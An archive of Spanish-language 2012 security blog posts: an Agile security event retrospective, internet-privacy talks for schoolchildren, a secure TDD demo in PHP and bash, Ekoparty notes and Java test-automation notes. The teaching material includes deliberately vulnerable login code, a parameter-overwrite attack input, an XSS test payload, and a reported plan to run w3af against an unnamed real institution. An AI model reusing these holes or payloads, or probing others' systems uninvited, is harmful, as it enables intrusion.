domingo, 25 de noviembre de 2012

Retrospectiva Agile Open Seguridad BA 2012


Cifras crudas


TIEMPOSLa PreviaAOSTotal
Mails enviados (1 min c/u)127148275
Mails recibidos (1 min c/u)12072192

Difusión personal en ekoparty, cafe-in,
radio pasillo, twiter, skype
6h1h7h
Edición de páginas y confección de
mails de convocatoria
2h1h3h
Total tiempo12h6h18h



Efectividad inscripciónLa PreviaAOSTotal
Inscriptos164359
Asistentes71825



Detalles 


El haber interactuado con una institución grande como es UB trajo un cierto sufrimiento. No fué simplemente acordar una fecha y un lugar sino que encajara con los planes y agenda de eventos de la UB.

Sin embargo, a diferencia del Agile Open Rosario de hace un par de años en el marco del Polo Tecnológico, esto fue un lecho de rosas. Para hacerse una idea no he publicado esa  retrospectiva.

Para la fecha en que el evento había sido convocado originalmente ya había pasado, recién se acordó la fecha para casi tres meses despues. Esto abrió inicialmente dos caminos: tirar todo por la borda y hacer ya el evento en algún lugar pequeño o esperar con paciencia.

Soy muy amarrete para lo primero y carezco de lo último, conflicto gracias al cual surgió una tercera posibilidad, comer el pan y la torta. Esto es, hacer el evento en UB tal como se había arreglado y hacer ya el evento en un lugar pequeño, gracias a JP de SVC.

Para darle valor al primer evento, se generó tarea para utilizar las retrospectivas en el segundo, la convocatoria fue parecida a esta:



El AOS de este año será en la Universidad de Belgrano el día 24 de Noviembre, tan lejos que parece un espejismo. Tratando de sacar ventaja de este potencial temporal de cerca de dos meses, haremos algo asi como un mini agile, "La Previa". La idea es discutir un poco lo que ibamos a discutir pero haciendo eje en llevarnos alguna tarea que relacione Agile con Seguridad y viceversa, por ejemplo:

  • implementar una mínima revisión de seguridad para un proyecto nuevo
  • implementar una mínima revisión de seguridad de la arquitectura de un proyecto existente
  • implementar alguna técnica de seguridad en desarrollo u operaciones
  • analisis estatico de código
  • owasp top ten
  • definir e implementar algún procedimiento de control sobre algun asset de información
  • repositorio de codigo
  • información contractual de proyectos
  • dictar algún tipo de training interno
  • securizar la comunicación con algún cliente

Y ademas, crosscutting agile,
  • sub dividir y estimar la tarea elegida.
  • retrospectiva de la actividad

Para quienes ya tienen seguridad y carecen de agile podría ser:

  • ver de utilizar kanban en algunas tareas de operaciones
  • estimación de esfuerzo mediante planning poker
  • implementar SDM (Standup Daily Meeting) para seguimiento
  • utilizar tdd, bdd, refactoring en el desarrollo de alguna aplicación, que bien puede ser de seguridad

Si aporta, contaré mi experiencia con escolares. La "gente de educación" se la puede llevar para probar y devolver la retrospectiva en el evento principal.


Una de los objetivos es ver como darle valor a estas tareas y ayudar a identificar cual tarea puede ser la apropiada para cada asistente, que tenga costo reducido o algún retorno que compense.

Este evento será de asistencia acotada, tipo veinte personas en un lugar pequeño.

De este modo, el agile open de UB se ve enriquecido por las experiencias y retrospectivas nacientes de este eventito.

En el medio, armamos una lista de google/yahoo o usamos un tag [seguridad] en la lista de agiles para ayudarnos.

La Previa

El fin de semana largo, la convocatoria más abierta a último momento y la evidente falta de interés en el tema conspiraron contra la asistencia. Contra mis expectativas se respetó la regla de que sólo asiste la mitad de los inscriptos, había pensado que al ser la convocatoria más personalizada la asistencia iba a ser mayor. Tratándose de un número tan bajo, el que tres de los cuatro organizadores por parte Agiles no hayan ido, quizás explica la situación. Hubiésemos llegado a casi dos tercios.

Como facilitador cometí un grave error metodológico durante el evento, que fué no respetar las reglas del Open Space. Como consecuencia, aunque interesante e instructiva, fue una larga conversación medio amorfa.

Uno de los organizadores pudo haber "asistido virtualmente" ya que faltó por estar enfermo y quizás hubiese detectado y corregido la situación, pero aunque él me lo sugirió, se me escapó.

Al final quedamos en hacer algunas tareas,

  1. Robo cuenta hotmail. La idea es abrir dos cuentas con distintos niveles de seguridad y contratar el hackeo.
  2. Revisar el proceso de certificación y/o recuperación de twitter.
  3. Usar w3af contra una conocida institución, tomando los recaudos necesarios.
  4. Confidencialidad en proyectos/empresas

con estos resultados.

  1. Se creó una cuenta pero no se avanzó.
  2. JP hizo un excelente trabajo, que será presentado en el Agile Open por un emisario.
  3. Nada, la semana previa intenté iniciar de modo anónimo la exploración pero no pude, ya que estaba caido el sitio.
  4. Nada


AOS

Otras vez los astros conspiraron en contra. Hubieron problemas logísticos en UB que nos dejaron al borde de postergar otra vez. Afortunadamente Paula A., que no sólo es leal con UB y asumió toda la responsabilidad de las fallas, si no que tambien es una persona de palabra, hizo un sacrificio de último momento y logró que lo hagamos en fecha.

Por el lado de Agiles, los organizadores se esfumaron por distintos motivos personales. Sólo les cuestiono que yo haya tenido que preguntarles, en lugar de ellos avisar proactivamente. De este modo perdimos apoyo institucional y difusión de SADIO e IEEE. Afortunadamente otra vez, Juan G. se hizo un lugarcito y aportó una primera sesión explicando que es agile y open space, además de darle el encendido al evento.

Luego hubieron dos sesiones paralelas de "seguridad vs usabilidad" y "usando git y github" y por último "experiencia de privacidad en internet para escolares".

Los resultados de La Previa, dado que sólo una persona había estado en ambos eventos y respetando la regla "estamos los que estamos", ni fueron mencionados.

Fue un poco más caótico que un Open Space promedio, pero funcionó.

Si alguno de los concurrentes ha elaborado alguna apreciación, que por favor agregue el link en los comentarios.

Resultados


Lo interesante es que había más gente de seguridad que de agile. Quizas no muy sorpresivo, dada la falta de interés general en el tema en las listas de agiles.

Por un impulso impulsivo de último momento y en aparente contravención con mi recomendación en agiles a las "agile girls" de usar un tag para marcarse en lugar de hacer otra lista, propuse cuando ya estabamos en la puerta hacer una lista propia. Lo que pasa es que esa falta de interés puede provocar que las personas de seguridad que lleguen a las listas se disuelvan antes de provocar alguna reacción. Es una suerte de zona protegida, comunicada con las listas, ya que hemos invitado a unirse a las listas, pero donde podemos discutir algunas cosas más específicas. Igual es un tema en marcha, veremos que pasa, si funciona como lista aparte, desaparece o nos mudamos a agiles.

Aprendizajes

Hay que respetar las reglas de Open Space.

No creo que valga la pena repetir La Previa. En relación al Agile Open no veo que haya aportado. Falta ver que ocurre con los participantes y la lista.

Aunque el lugar es muy importante, hay que tener un buen plan B. El evento se atrasó cerca de cuatro meses de su fecha prevista inicial, no tengo manera de saber como eso afectó a la concurrencia, pero sí sé que carga produjo sobre el organizador, que se prometía como cada vez "es la última vez que hago esto".

sábado, 10 de noviembre de 2012

Privacidad en Internet para escolares Parte 1

Pienso que la esencia de la enseñansa de defensa personal en Internet es una combinación de varios elementos

  • Conocer como funcionan las cosas
  • Conocer las amenazas
  • Conocer cómo atacar
  • Saber entonces que y como hacer y que no hacer


Fiel a mi estricta adherencia al principio:


Regala un pescado a una persona hambrienta y le darás alimento para un día, enséñale a pescar y le salvarás la vida.

no voy a reproducir una guía de seguridad, ni dar un curso, voy a mostrar mis criterios para hacerlo.

Más abajo menciono unos "links apestosos" ¿Para qué poner esos links? Es porque si alguien hiciera una búsqueda llegaría tarde o temprano a estos sitios, mejor cuento con que se va a encontrar. Quiero además compartir cual es mi criterio de “apestoso” y la metodología que usé.


Manos a la obra


Este post es resultado de mi experiencia de estos últimos meses en los que he dado una serie de micro charlas a escolares entre quinto y séptimo grado. Cuando algún docente me ha pedido más información, me puse a investigar y acá estamos. De paso cuento un poco de la experiencia.

Antes, si quisiera hacer una comparación con cruzar la calle (los niños pueden buscar las palabras resaltadas como simpático ejercicio), sería así:

Cómo funcionan las cosas


  • Las reglas de los colores de los semáforos
  • Algunas leyes de tránsito
  • Los autos necesitan tiempo/espacio para frenar, fenómeno conocido como inercia.
  • Pasa un tiempo desde el momento en que el cerebro percibe vía los ojos algo, lo considera un obstáculo, decide que acción tomar y envía los impulsos nerviosos a los músculos para que actúen. Esto se llama tiempo de reacción
  • Cuando una rueda pisa agua, una porción de esta puede quedar entre el piso y la rueda, provocando un efecto llamado “hidroplaneo” que se potencia con la velocidad y que provoca pérdida de adherencia o reduce la fricción.
  • La transmisión del movimiento del motor a las ruedas pasa por un dispositivo llamado embrague, que permite interrumpir y reanudar esa transmisión.

Amenazas


  • Pasa un tiempo desde que un conductor ve algo y pisa el freno
  • El piso mojado aumenta el tiempo/espacio de frenado
  • El piso recién mojado lo aumenta más aún (¿Por qué? ¡Bien esa actitud crítica!)
  • Un auto con el cambio puesto y el pie en el embrague es un peligro por que se puede patinar el pie.
  • Cuando en un semáforo un auto/moto/bici arranca, el resto arranca independientemente de que haya cambiado el semáforo, no sé si llamarlo "efecto rebaño", "efecto largada" o "a mi no me vas a ganar".
  • Si te pisan fuera de la senda peatonal, te pueden llegar a culpar.
  • Hay personas dispuestas a pelear por sus puntos de vista tengan o no razón.
  • Muchos conductores no saben, no recuerdan o no les importa la prioridad del peatón al doblar.
  • En ciertos barrios a ciertas horas, los semáforos no se respetan por temor a asaltos. 

Conocer como atacar (ponerse en el lugar del conductor)

  • Si se apunta el auto al peatón y se le hacen luces y se toca la bocina, éste suele correrse le corresponda o no el paso.
  • Si se participa de un accidente con las percepciones alteradas, las penas suelen atenuarse (ridículo).
  • Es fácil llevar un arma en el auto, desde un matafuegos a un revolver.
  • Aunque de poca precisión, el auto en sí es un arma formidable.

Saber entonces que y como hacer y que no hacer


  • Mirar a ambos lados al cruzar
  • No confiar en el semáforo, mirar de todos modos al cruzar.
  • No usar auriculares pues pueden ocultar el sonido de algún vehículo acercándose.
  • Tras alguna ofensa, no insultar al conductor o arrojar algún objeto a menos que se esté dispuesto a llegar a las piñas, con riesgo de tiroteo.
  • En ciertos horarios con un mayor porcentaje de conductores ébrios, hay que duplicar la precaución.
  • Partir de la premisa de que el conductor es imbécil, no confiar nuestra vida a un error de cálculo ajeno.

Aunque no es una lista completa ni tenemos que estar de acuerdo y los elementos cambien, este es el estado mental de la seguridad en Internet que considero apropiado.

Aplicado a las charlas que he dado en escuela primaria

Esta fué la estructura subyacente:

Cómo funcionan las cosas

  • GPS
  • Geolocación por red celular
  • Metadata
  • Cómo funciona un sitio para intercambiar mensajes
  • Borrado lógico de registros
  • Fortaleza de contraseñas
  • Almacenamiento de contraseñas
  • Hashing de contraseñas
  • Extracción de información mediante ingeniería social
  • Identificación biométrica
  • Tráfico de Internet

Amenazas

  • Geolocación embebida en metadata
  • Robo de identidad
  • Compromiso de contraseñas
  • Corte de dedo
  • Sniffing

Conocer como atacar

  • Hay un billete en el piso, vamos a medias dame $50, te enchufé un billete falso de $100
  • Hola, cómo te llamás? Y tu padre, madre, hermanos?
  • Ataque por diccionario a sistemas de autenticación

Saber entonces que y como hacer y que no hacer

  • Contraseñas fuertes y distintas para cada sitio
  • No contestar.
  • Ante la duda mentir
  • Desconfiar
  • Saber que el mail puede ser leido
  • Saber que los mensajes pueden existir para siempre
  • Reflexionar antes de publicar cualquier información, debido a lo irreversible de tal acción.


Todo esto en tres charlas de cerca de media hora cada una, nada mal, ¿no? Obviamente todo fué tratado con gran superficialidad, pero usé diagramas iguales a los que hubiera utilizado con un público técnico. No quiero ofender a nadie, pero cuando les expliqué (con otras palabras) el hashing de contraseñas, les aclaré que si no entendian no se preocuparan, mucho profesionales tampoco lo entienden.

 

Logística

La primera charla a séptimo, sexto y quinto y la segunda a séptimo y sexto las dí juntando los dos grados por sugerencia o piedad de parte de la escuela, para ir menos veces. Cuando los de quinto me desbordaron cambiamos a grados separados para la segunda de quinto y las terceras. El resultado fué mucho mejor, ya que hubo un grado mayor de atención.

Es conveniente evitar dejar espacio para que los docentes intervengan, a menos que no haya limitaciones de tiempo. Les ofrecí a los docentes ir en otra ocasión como "consultor".

Esta experiencia continúa dos años despues en http://seguridad-agile.blogspot.com/2014/04/privacidad-en-internet-para-escolares_22.html

 

Referencias útiles


Para poder aprovechar los links que cito a continuación, o cualquier otro de seguridad, es absolutamente fundamental tener una actitud completamente crítica, desconfiada. No de soberbia “a mi no me pasan esas cosas”, si no “esta solución me parece insuficiente”, “¿cómo funciona ese ataque?” o “¿Cómo se justifica?”.  Hay que ponerse en sintonía con el que ataca. Es fundamental ser acompañado por alguien que sepa.

La verdad es que algunos de los links apestan por los siguientes motivos:

Técnicos

Tienen muchos links rotos, ya sea por dominios que no existen, por videos cuyas cuentas se han deshabilitado, documentos rotos, páginas de registro que no funcionan. Hay además documentos comprimidos para bajar en lugar de ver online, cosa que al menos a mi me produce una cierta desconfianza y al usuario inexperto una dificultad extra.

Presentación

Hay mucho material con un gustito corporativo o de prédica fundamentalista que me repele, pero esa es una sensación mía.

Habla con tus padres

Con respecto al trillado “habla con tus padres”, me parece casi contraproducente. Aun así, un adulto puede no saber nada de informática e Internet, pero si suele saber de engaños y estafas, así que no deja de ser una buena guía.

Esto me ha llevado que muchos otros links ni los incluyera.

Los no apestosos

Jefatura de Gabinete de Ministros


http://www.jgm.gov.ar/paginas.dhtml?pagina=353

No recuerdo como lo obtuve. Son videos bastante instructivos, bien hechos, pero hacen arder mi rebeldía adolescente, por el aire condescendiente de algunos. No sé como le caerá a un niño de verdad. A mi me resultan muy claros y amenos de todos modos.

Argentina Cibersegura


http://www.argentinacibersegura.org/

Llegué aquí por Hernán Racciatti, que expone habitualmente en distintos eventos y medios como OWASP Day, Ekoparty, en una radio, Twitter.

http://www.argentinacibersegura.org/contenidos/

De los contenidos vale la pena ver:

“Breve ayuda de seguridad en redes sociales”

En general los 10 consejos me parecen bien, aunque algunos tienen excesivo tecnicismos como:

“Evitar el usuario “Administrador” para el uso general del sistema, ya que no suele ser necesario.”

Que se me ocurre difícil que la mayoría entienda y aplique. Además hay muchas frases “habla con tus padres”, de lo cual ya he opinado.

ISECOM HackerHighSchool


http://www.hackerhighschool.org/

Es un sitio bastante técnico, donde enseñan a defenderse comprendiendo como se ataca. Está en varios idiomas, así que sirve para practicarlos. Es para personas que quieran entender bastante más de lo necesario para la navegación común. Si el sitio se llama "hacker" algo, quizás sea por algo...

http://www.hackerhighschool.org/lessons/lessons-es.html

Hasta aquí hay suficiente material para empezar. Consideraría no seguir adelante, ya que las ramificaciones de los links comienzan a apartarse de fuentes más o menos confiables.

Los apestosos


Segu-kids


http://segu-kids.org/

No está separado de algún modo el acceso de niños vs padres y docentes, de modo tal que un niño relativamente pequeño queda expuesto a conocer una serie de amenazas quizás antes de tiempo. Hubiese puesto algún tipo de registro para las secciones de padres y docentes.

Hay muchos links rotos, pero lo que más me preocupa es el que conduce a

http://www.escuelaslibres.org.ar/descarga/referencia/ADB-SL.pdf

que está roto. ¿Un pdf roto? ¡Qué raro!

Plataforma Educativa ESET


http://edu.eset-la.com/

Llegué aquí desde argentina cibersegura, no pude ver los cursos ni eventos. Quise registrarme sin éxito. ¿Será un honeypot?

sábado, 29 de septiembre de 2012

cafein


Este es un manual de como preparar la charla de Test Driven Secure Development que he presentado en in.cafelug.org.ar el 2012/09/29, que es una refactorización profunda de lo presentado en agiles2011, en Agile Open Seguridad 2010 y en una o dos techtalks en Teracode en 2010 o 2011.
La versión original usaba unas funciones de testing que había elaborado para la ocasión y para cambiar el estado de la demo usaba unos ingeniosos scripts, ahora reemplazado por branches de git.

¿Por qué no subo el código que he generado? Por  estricta adherencia al proverbio chino:

Regala un pescado a una persona hambrienta y le darás alimento para un día, enséñale a pescar y le salvarás la vida.

Cualquier duda, me pregunta, yo contesto. Quizas, quizas, muestre esto en Agile Open Seguridad del 24 de noviembre http://www.agiles.org/agile-open-tour/agile-open-buenos-aires-2012---seguridad

Requerimientos de software


Instalar mysql, php, pdo y apache o equivalentes y sus dependencias.

En el navegador data tamper para mostrar bien la manipulación de los post.
  
wireshark para mostrar el tráfico entre el servidor web y la base de datos.
   
wget o curl para efectuar llamadas al servidor web desde bash

grep para evaluar las respuestas

shunit2 para evaluar los resultados esperados contra los obtenidos

git para poder mostrar paso a paso todo el proceso sin escribir ni una linea en el momento de la charla.

La idea

La idea es ir procesando requerimientos o bugs. En caso de ser un bug, está bueno mostrarlo, para eso tenemos wireshark, wget y el navegador. De un modo u otro hacer un test que falle, implementar la solución hasta que el test pase, quizas ajustar el test, quizas agregar otro test. Y seguir asi...

La idea de usar versionamiento la saqué de un curso de Ruby dado por Nicolás Gaivironsky. Give credit where credit is due.

La elección de bash y php pelado como [ausencia de] framework es debido a que al usar frameworks hay mucha magia que mete ruido y no se puede ver bien que ocurre si no se conoce el framework.

Ciertos requerimientos o bugs pueden romper test existentes, hay que arremangarse y arreglarlos o tirarlos.

Aunque la doctrina dice "primero test, luego implementación", la realidad dicta que "primero algo parecido a un test, un poco de implementación, ajuste del test...", como que hay un micro loop.


Una práctica que me resultó muy efectiva es esta secuencia:


git branch 01_xxx
git checkout 01_xxx
crear test
codear
ajustar test y código hasta que funcionen bien
git add test.sh
git commit 
git branch 02_xxx
git checkout 02_xxx

git add codigo
git commit



De este modo, cada branch se comitea cuando ya está el código estable.

Git lola dice:

* a70524e (HEAD, 28_code_session_fixation) code session fixation
* d4542a1 code session fixation rompe tests
* 2b1365a test session fixation
| * 90458ef (27_test_session_fixation) test session fixation
|/ 
* 0d47ab6 (26_session_complete) Refactorizacion completa
* 83bb6c6 (25_test_refactor) Refactorizacion completa con error de xss
* bf042c9 refactorizacion de tests tras incorporacion de session
* 34ae950 (24_code_login_redirect) code login redirect
* 255077f (23_test_login_redirect) test login redirect
* 9b0501f (22_code_login_post) code login post
* fb036a3 (21_test_login_post) test login post
* 9cbe347 (20_code_login) code auth get
* 6b93405 (19_test_login) test auth get
* e4bd6c6 (18_code_session) codigo session
* 531c868 (17_test_session) test basico session
* 33289da (16_code_xss_reflected) code xss reflected
* d568fbe (15_test_xss_reflected) test xss reflected
* 8756029 (14_code_xss_stored) code no xss stored
* e7d961d (13_test_xss_stored) test xss stored
* 5352ff4 (12_code_no_sql_injection) code no sql injection
* 1a29453 (11_test_sql_injection) test sql injection
* 6ec4d4a (10_code_refactor_no_sniffing) code refactor no sniffing
* 913a49d (09_code_persistencia) codigo persistencia
* da5f08f test persistencia
| * 1750417 (08_test_persistencia) test persistencia
|/ 
* 8a1a3fd (07_code_overwrite) codigo auth overwrite
* f0ef483 (06_test_overwrite) test auth overwrite
* d01e7c1 (05_test_refactor) test auth refactor
* 470fecd (04_code_auth) codigo auth
* a7fee5d test auth
| * 65c181b (03_test_auth) test auth
|/ 
| * 765808d (02_code_post) rollback
| * 10ed237 test para auth
|/ 
* 2e63946 codigo post
* ec198a6 (01_test_post) test post
* 9766ef2 (master) inicio


Espero ansioso la ocasión para que alguien me enseñe como transformarlo para que quede en una sola linea, como la que tira git branch

  01_test_post
  02_code_post
  03_test_auth
  04_code_auth
  05_test_refactor
  06_test_overwrite
  07_code_overwrite
  08_test_persistencia
  09_code_persistencia
  10_code_refactor_no_sniffing
  11_test_sql_injection
  12_code_no_sql_injection
  13_test_xss_stored
  14_code_xss_stored
  15_test_xss_reflected
  16_code_xss_reflected
  17_test_session
  18_code_session
  19_test_login
  20_code_login
  21_test_login_post
  22_code_login_post
  23_test_login_redirect
  24_code_login_redirect
  25_test_refactor
  26_session_complete
  27_test_session_fixation
  28_code_session_fixation


Todo esto se reduce a la siguiente lista de requerimientos o bugs:

Requerimiento: Crear una página que permita postear comentarios

  Fácil, un formulario

Requerimiento: Agregar autenticación

  Fácil, agregar user/pass con contraseñas hardcodeadas

Bug: Se pueden pisar las variables y evitar la autenticación

La implementación era:

foreach($_POST as $key=>$value) {
  $user[$key]=$value;
}

if ($user['user']=='ana' && $user['pass'] == 'ana123') {
   $user['valid']=true;
}


El ataque es --post-data="text=post sin permiso&valid=1"

La solución es... sólo tomar los parámetros que estamos esperando.

Requerimiento: Persistir los comentarios en una base de datos

Fácil, consultar en la base en lugar de hardcoded

Bug: Se ha detectado un error de diseño que permite ver las credenciales de todos los usuarios circulando entre el servidor web y la base de datos.

El código era

$result = mysql_query('select * from user') or die('no query');

while ($entry = mysql_fetch_assoc($result)) {
  if ($entry['name'] == $user['user']
      && $entry['pass'] == $user['pass']
  ) {
    $user['valid'] = true;
    break;
  }
}


esta es la captura de wireshark entre el web server y la base de datos, ademas no escala si tenés un millón de usuarios.

Lo que me gusta de este error es que lo he visto en la vida real una vez.

Bug: Se ha detectado sql injection que permite evitar la autenticación


Reemplazamos sql pelado por Prepared Statements

Bug: Se ha detectado xss

Al menos hay que poner htmlentities() al mostrar los posts.

Requerimiento: Agregar session y una página independiente para login


Esto fue un pijazo, no hay otra palabra. Tuve que tirar todos los tests e ir recuperandolos de a poquito, va desde 17_test_session hasta   26_session_complete


Bug: Se ha detectado session fixation, que permite a un atacante "colgarse" de una sesión ajena.


Hay que agregar sesión

        if (loginOk()) {
            session_regenerate_id();
            $_SESSION['valid'] = true;
             header('Location: chat.php');
            exit();
        }

Ejemplo de un test


Para testear he usado sshunit2, wget y grep, veamos un ejemplo detallado, de los últimos:
testXSSstored(){el nombre "test" le permite a sshunit2 hallarlo
    setupDBversion1ponemos la base en un estado conocido
    rm cookies.txt -fpor las dudas tiramos las cookies que puedan haber
    wget -q -O - --post-data="user=ana&pass=ana123" http://127.0.0.1/login.php --keep-session-cookies \ --save-cookies cookies.txt > /dev/nullnos autenticamos salvando las cookies estoy usando header("Location: chat.php") en login. con max-redirect=0 se impide la redirección, tiramos el output a stdout con -O - y de ahi a /dev/null, le pedimos con -q que no diga nada de como le fué
    wget -q -O - --post-data="text=<script>alert(12*12)</script>" http://127.0.0.1/chat.php --load-cookies cookies.txt > /dev/nullle decimos que tome las cookies que habiamos recibido antes y hacemos el ataque
    rm cookies.txt -f
    wget -q -O - --post-data="user=ana&pass=ana123" http://127.0.0.1/login.php \ --keep-session-cookies | grep -q -F "<script>alert(12*12)</script>"volvemos a autenticarnos, aceptamos la redirección y vemos si el script está intacto
    RESULT=$? guardamos el resultado de la operación anterior
    assertEquals 1 $RESULT
}
que debe ser 1 si no hubo match, que es lo esperado en este caso y 0 si hubo, será uno u otro dependiendo de lo que estemos testeando

La implementación esta es para dejar la base de datos en un estado conocido antes de cada test que necesite datos

setupDBversion1() {
  echo "drop database chat;
  create database chat;
  use chat;
  create table messages(message varchar(64));
  create table user (name varchar(16), pass varchar(32));
  insert into user values (\"ana\",\"ana123\");
  insert into user values (\"root\",\"root_pass\");
  insert into user values (\"master\",\"master_pass\");" \
  | mysql -u admin chat
}

. shunit2 ;# esto invoca la ejecución de todos los tests


Este es un ejemplo de ejecución donde eliminé el htmlentities() y entró el xss. Es importante romper el código una vez que el test pasa para estar seguros que el test lo detecta.




Detalles de configuración


apache

Crear un htdocs accesible tanto por apache como por el usuario de ejecucion modificar configuración apache para que apunte a la carpeta de trabajo crear repositorio de git (git init)



mysql


create user 'admin'@'localhost';

grant all on chat.* to 'admin'@'localhost';

Es una decisión controvertida quedarse sin password, pero la opción que mejor conozco es usar expect, que no aporta a la demo.

lunes, 24 de septiembre de 2012

Ekoparty 2012

Este año me he llevado varias cosas:

La práctica hace al maestro

Muy buenos los HTExploit (Soler/Katz), parece un número de teatro [1], muy bien llevado.

Plan B


Brillante como el muchacho de los ataques USSD[2] contra Android zafó cuando le falló el primer ataque. Quizo mandar un sms que nunca llegó, entonces, sin perder la calma, le metió el link a manito.

 

Exótico

Que un overflow de unos enviado a un IVR[3] provoque un stack trace y que el sistema te lo lea.

 

Ataque o accidente de Ingeniería Social

El último día fuí víctima de un ataque de ingeniería social o de un accidente.

Mientras iba en bici municipal desde el centro, o mejor dicho, mientras caminaba las ocho cuadras desde el nodo hasta el Konex pensaba que hubiera estado bueno un nodo temporario allí. En la puerta me encontré a Juan Pablo, que sé que es uno de los organizadores y lo interpelé:

-Hola, tenés medio minuto? No me conocés pero...
-Sí que te conozco- me interrumpió.
-Puede ser, del barquito del año pasado, quizas...- agregué mientras forcejeaba con mis credenciales para entrar. (TOMAR NOTA DE ESTE MOMENTO)

Ya autenticado caminamos unos metros juntos mientras le exponía la idea.

-Quizas se pueda gestionar el año que viene un centro temporario de distribución de bicicletas acá. Yo he venido tanto ayer como hoy desde el centro asi.
-Buena idea, la anoto.

Paralelamente en mi mente otro thread conversaba conmigo

-Tanto el de seguridad de la puerta como Juan Pablo deben pensar que soy el tipo más estúpido del mundo, ¡no puede ser como le dí servida la información!

Aunque es verdad que habíamos conversado algo el año pasado y si tiene algo de memoria quizas me recordaría, obsérvese como soy yo quien provée la información. Él puede estar recordando o apostando.

Lo interesante es que nunca voy a saber que ocurrió en realidad:


RecordabaNo recordaba
Lo admiteNo lo admite
Es un ingeniero socialAcá no pasó nada...Se revela como ingeniero social y que me atacó, difícil¿Qué esperabas?
No es un ingeniero socialSimplemente me recordabaEs mentirosoEs un ingeniero social nomás

Always crashing in the same car [4][5]

El primer día ya quedó claro que la resolución, ajuste de color y contraste del proyector no se correspondían con lo que había en el monitor de cada expositor. Esto provocaba que ciertas combinaciónes de colores no se vieran y desaparecieran lineas.

Mis preguntas son:

¿Ningún expositor vió como un expositor previo fallaba y por ende ajustó su presentación para que no le pasara lo mismo?

¿Nadie de la organización tuvo una reflexión similar y alertó a los siguientes expositores?

Si la respuesta fuera "Alguien reparó en ello y los expositores alertados decidieron que no valía la pena", ¿por qué cada uno de ellos mostró sorpresa o consternación cuando le llegó el turno?


Las semillas


  • Unos señores pelados mostraron lo mal que están unos sistemas hogareños y comerciales de alarmas comunes en USA. Han recopilado un montón de mensajes que se construyen con un hash, cuya fórmula desconocen. Les he solicitado que me los envíen a ver si puedo aportar algo.

  • Conversando con el master de w3af: no lo pude convencer de migrar a erlang, pero si le sembré la duda acerca de como está su sistema de testing, tema para el próximo Agile Open [6] 
  • VGA Rootkit: flashearon el firmware de la placa de video y metieron código arbitrario. Si tuviera tiempo vería de...

La llave del conocimiento

El primer día lo "perdí" en lockpicking village. Cuando mi jefa se enteró me encajó un "eso no aporta valor". Permítanme disentir.

Por un lado aprendí lo fácil que es abrir un candado o cerradura, lo cual no es relevante en sí. Pero el poder ver como un mecanismo mecánico se puede trampear una vez que ha sido comprendido (o incluso sin comprenderlo, a lo script kiddie) al menos a mi me pone en un modo mental de ver los mecanismos informáticos, de procedimiento o mentales en la misma sintonía. Estos mundos son muy abstractos y en última instancia "irreales". Así como la autoridad, la ley y todas esas cosas de la conviviencia social terminan apoyándose en un revolver, las cerraduras, las cajas fuertes, las paredes, puertas y los alambres de púa son el cimiento final de la seguridad.

Recuerdo el final de 2001 (en libro) cuando Bowman en su nuevo plano de existencia se apodera de un arma en órbita, me parece, llega al final de todos los circuitos y allí hay un relé que lo detiene momentaneamente, pues es real.

Como anécdota sabrosa, al salir busqué una persona de cerca de ocho años, le mostré como y en pocos minutos abrió dos candados con mis herramientas recientemente construidas. El tercero lo abrió con un clip en pocos segundos.

Como detalle deprimente, acabo de probar un candado que uso. Me llevó veinte segundos poner las herramientas en posición y cuatro abrirlo. Yo no tengo experiencia, ¡es muy poco!

¿Esposas? menos de diez segundos, suerte de principiante. Supongo que son muy chotas.

El postre


Expuesto por /home/$user






[1] http://www.mkit.com.ar/labs/htexploit/
[2] http://en.wikipedia.org/wiki/Unstructured_Supplementary_Service_Data
[3] http://en.wikipedia.org/wiki/Interactive_voice_response
[4] http://www.youtube.com/watch?v=l2vEtfyveeY
[5] http://www.metrolyrics.com/always-crashing-in-the-same-car-lyrics-david-bowie.html
[6] http://www.agiles.org/agile-open-tour/agile-open-buenos-aires-2012---seguridad

sábado, 1 de septiembre de 2012

Automatización de test - eci 2012

Resumen práctico del curso "Generación Automática de Tests Unitarios" (ECI 2012 N2) a cargo de Nazareno Aguirre, Universidad Nacional de Río Cuarto, Argentina


Esta reseña es solo un disparador, no es una guía ni una explicación detallada, es el resultado de hacer la práctica y el examen. Omito cosas importantes que supongo conocidas, pongo el foco en detalles secundarios y mecho con mis opiniones. Aclaro que mi relación con java es meramente académica, carezco de experiencia profesional. Sí tengo experiencia en unit testing, TDD y desarrollo en general.

Lo que se vió en el curso fue diversas maneras de automatizar el testing, ya sea generando tests, generando entrada para los tests o probando la resistencia de los tests.

Mi stack fue:
windowslinux
oracle java 1.7 (ups! la del 0day exploit!!openjdk con JavaSE-1.6 como execution environment para que funcione randoop
eclipse 3.7.2 indigo for java developerseclipse 4.2? juno for java developers
codecover 1.0.1.2
randoop 0.1.0.201107281327
jumble 1.0.0
korat 1.0
korattester 0.0.5 (FAIL)


CodeCover


Herramienta de análisis de cobertura de código.

La idea es que diversos aspectos de un programa como cada linea, cada decisión y cada camino posible sean recorridos por los test. Esta herramienta mide justamente eso.

Hay que habilitar para el proyecto (Propiedades->CodeCover->Enable Code Cover) y seleccionar criterios, luego seleccionar una clase a analizar (right click -> "Use for code coverage measurement") y finalmente ejecutar un test como "CodeCover measurement for junit".

Si hay distintos test cases se pueden agrupar en una suite o ejecutar cada uno separado y luego activar ambos resultados. Al activar (o como se llame) cada resultado, en el código fuente se ve la cobertura o su falta.

Instalación


via repo

Randoop


Herramienta de generación test al azar con feedback.

Para cada método, intenta generar código tal que se pueda llamar a ese método y dependiendo de los resultados, fallas y excepciones declaradas y lanzadas, detecta situaciones de falla y genera código de test para regresiones. Requiere que cada clase tenga un método repOk() que comprueba que el objeto esté en un estado válido. No es necesario que este método haga una validación completa.

Un ejemplo de repOK() para una pila

@CheckRep
public boolean repOk() {
    if (numItems < 0 ) return false;
    if (numItems == 0 && tope != null) return false;
    return true;
}


Uno mas completo que comprueba que el número de items corresponda a la realidad y que no sea una lista con un loop:

@CheckRep
public boolean repOK() {
    int cantidad = numItems;
    Nodo corr = tope;
    while (cantidad>0 && corr!=null) {
        corr = corr.obtenerSiguiente();
        cantidad--;
    }
    return (cantidad==0 && corr==null);   
}



Un ejemplo del código de test generado:

public void test49() throws Throwable {
    myUtils.PilaSobreListasEnlazadas var0 = 

        new myUtils.PilaSobreListasEnlazadas();
    var0.apilar((java.lang.Object)'#');
    java.lang.Object var3 = var0.tope();
    var0.desapilar();
    boolean var5 = var0.esVacia();
    var0.apilar((java.lang.Object)0L);
   
    // Regression assertion (captures the current behavior of the code)
    assertTrue("'" + var3 + "' != '" + '#'+ "'", var3.equals('#'));
   
